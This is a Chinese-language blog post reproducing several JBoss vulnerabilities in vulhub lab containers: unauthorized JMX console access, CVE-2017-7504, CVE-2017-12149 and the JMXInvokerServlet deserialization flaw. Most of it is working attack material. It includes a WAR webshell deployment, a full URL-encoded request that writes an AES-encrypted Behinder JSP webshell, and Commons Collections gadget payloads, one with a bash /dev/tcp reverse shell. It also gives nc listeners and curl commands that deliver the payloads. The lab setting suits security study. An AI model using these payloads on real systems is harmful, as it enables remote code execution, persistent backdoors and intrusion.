jboss漏洞复现合集


jboss 漏洞复现合集

jboss 未授权访问复现

CVE-2017-7504 漏洞复现

CVE-2017-12149 漏洞复现

JBoss JMXInvokerServlet 反序列化漏洞复现

jboss 未授权访问导致getshell

漏洞描述

未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shellwgetwebshell文件。

环境搭建

使用vulhub里的jboss/CVE-2017-7504进行复现

cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
docker-compose ps  

image-20210616130710270

访问http://192.168.253.128:8080/

image-20210616130813401

漏洞复现

第一种方法上传war木马

首先制作一个war木马,需要安装有jdk环境

打开cmd,以管理员身份运行

image-20210616133845558

切换到你jdk的安装路径bin目录下

image-20210616134204495

jsp马放到bin目录下,执行以下命令,就会得到一个war

jar cvf shell.war shell.jsp

image-20210616134752732

war包部署到服务器上,我这里是部署在windows上用的是phpstudy,也可以在Linux下进行部署。如果目标在公网上的需要在vps上部署,只要能访问到就行。

image-20210616140802958

image-20210616140031841

部署好后开始利用,点击JMX Console,未授权访问是不需要登录的,但是使用的是CVE-2017-7504的靶场环境需要输入账号密码admin,admin,登录进去了跟未授权访问的没什么区别

image-20210616130940190

image-20210616132024462

找到jboss.deployment

image-20210616132330524

找到void addURL(),输入远程布置带有马war包,点击Invoke

image-20210616133211345

image-20210616140409707

访问http://192.168.253.128:8080/shell/

出现以下界面证明上传成功,如果是404,可以换其他浏览器试试,如果还不行就是生成的war包有问题,可以试试其它jsp马。

image-20210616144308824

连接冰蝎

image-20210616144500071

第二种方法写入木马

poc

/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=shell3.war&argType=java.lang.String&arg1=shell3&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%0A%0A%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%0A%25%3E%0A%3C%25%0Aif%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3B%0ACipher%20c%3DCipher.getInstance(%22AES%22)%3B%0Ac.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3B%0Anew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%0A%7D%25%3E&argType=boolean&arg4=True

arg0是包名,arg1是文件名,arg2是文件类型,arg3是写入的代码

这些里写入是冰蝎的马,需要进行编码

image-20210616145917945

执行

image-20210616145100502

访问

image-20210616145238961

连接冰蝎

image-20210616145616349

CVE-2017-7504 漏洞复现

漏洞描述

Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

启动环境

cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
docker-compose ps  

image-20210616161145160

漏洞复现

下载工具https://github.com/joaomatosf/JavaDeserH2HC

git clone https://github.com/joaomatosf/JavaDeserH2HC.git

进入JavaDeserH2HC

cd JavaDeserH2HC

选择一个Gadget:ExampleCommonsCollections1WithHashMap,编译并生成序列化数据

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java

下面要执行的内容双引号内是我们要执行的命令,这里用bash反弹一个shell

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.19.150/9999 0>&1"

image-20210616161948493

监听端口

nc -lvvp 9999

image-20210616162011823

把下面的IP地址改为靶机的IP地址执行

curl http://192.168.19.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

成功反弹shell

image-20210616162530900

CVE-2017-12149 漏洞复现

漏洞描述

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码

启动环境

cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
docker-compose ps  

image-20210617085806937

漏洞复现

访问/invoker/readonly路径,如果返回500则有可能存该漏洞

image-20210617090121490

下载工具https://github.com/joaomatosf/JavaDeserH2HC

git clone https://github.com/joaomatosf/JavaDeserH2HC.git

进入JavaDeserH2HC

cd JavaDeserH2HC

编译并生成序列化数据

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据,后面输入要监听的ip和端口

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.19.150:7777

开启监听

nc -lvvp 7777

往目标地址发送数据

curl http://192.168.19.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210617092315290

image-20210617092348408

成功反弹shell

image-20210617092440933

图形化检测工具

下载地址https://github.com/yunxu1/jboss-_CVE-2017-12149

image-20210617092820383

JBoss JMXInvokerServlet 反序列化漏洞

漏洞描述

这是经典的JBoss反序列化漏洞,JBoss/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

启动环境

cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
docker-compose ps

image-20210617101146068

漏洞复现

访问/invoker/JMXInvokerServlet如果有下载文件,则存在该漏洞image-20210617101257839

还是使用JavaDeserH2HC

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.19.150:9999

curl http://192.168.19.128:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210617103336826

成功反弹shell

image-20210617103418063


文章作者: Kz_404
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Kz_404 !
评论
  目录